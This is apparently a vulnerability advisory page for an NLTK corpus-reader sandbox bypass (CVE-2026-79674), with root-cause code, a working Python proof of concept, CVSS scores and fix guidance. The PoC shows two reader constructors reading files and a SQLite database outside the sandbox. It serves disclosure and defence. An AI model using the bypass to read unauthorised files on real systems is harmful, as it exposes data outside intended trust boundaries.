Skip to content

GHSA-3gq4-3j92-5w49 CVE-2026-79674 PYSEC-2026-3736

NLTK: Corpus Reader Sandbox Bypass

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 32.84% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
Fix
3.10.3
Upgrade nltk to this version or later

Description

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

  • Product: NLTK
  • Asset / component: nltk.corpus.reader constructors
  • Version tested: 3.10.2
  • Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk
  • Environment used for verification: Python 3.13.14

Vulnerability Details

  • Vulnerability class: path sandbox bypass / external control of file path
  • Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
  • Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root)
  • Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec
  • Root affected functions:
  • Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

if zipfile:
    root = ZipFilePathPointer(zipfile, zipentry)
else:
    root = FileSystemPathPointer(root)

with open(path) as lin_file:
    ...

self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.

#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""

from __future__ import annotations

import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch

try:
    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
    here = pathlib.Path(__file__).resolve()
    for base in (here.parent, *here.parents):
        if (base / "nltk").is_dir() and (base / "setup.py").exists():
            sys.path.insert(0, str(base))
            break
    else:
        raise RuntimeError(
            "Could not import nltk. Run this script from an NLTK checkout root "
            "or from an environment where the current checkout is installed."
        )

    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader


def main() -> int:
    pathsec.ENFORCE = True

    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
            with tempfile.TemporaryDirectory() as tmp:
                tmpdir = pathlib.Path(tmp)
                outside = tmpdir / "outside"
                outside.mkdir()

                blocked_file = outside / "blocked.txt"
                blocked_file.write_text("blocked", encoding="utf-8")

                control_target = str(blocked_file)
                try:
                    with pathsec.open(control_target, "rb"):
                        raise AssertionError(
                            "pathsec.open unexpectedly allowed control path"
                        )
                except PermissionError:
                    print("control:pathsec.open=blocked")

                lin_root = tmpdir / "lin"
                lin_root.mkdir()
                lin_file = lin_root / "simN.lsp"
                lin_file.write_text(
                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
                    encoding="utf-8",
                )

                opened = []
                real_open = builtins.open

                def tracking_open(*args, **kwargs):
                    opened.append(str(args[0]))
                    return real_open(*args, **kwargs)

                with patch("builtins.open", tracking_open):
                    LinThesaurusCorpusReader(str(lin_root))

                if any(p.endswith("simN.lsp") for p in opened):
                    print("lin:outside_root_open=success")
                else:
                    raise AssertionError("LinThesaurusCorpusReader did not open data")

                panlex_root = tmpdir / "panlex"
                panlex_root.mkdir()
                db_path = panlex_root / "db.sqlite"
                db = sqlite3.connect(db_path)
                cur = db.cursor()
                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
                cur.execute(
                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
                )
                db.commit()
                db.close()

                reader = PanLexLiteCorpusReader(str(panlex_root))
                result = reader.language_varieties()
                if result == [("u1", "English")]:
                    print("panlex:language_varieties=success")
                else:
                    raise AssertionError("PanLexLiteCorpusReader did not load data")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Expected output:

control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success

Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

  • Base Score: 7.5 (High)
  • Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.3
3.10.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.3

pip
pip install --upgrade "nltk>=3.10.3"
poetry
poetry add "nltk>=3.10.3"
uv
uv add "nltk>=3.10.3"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor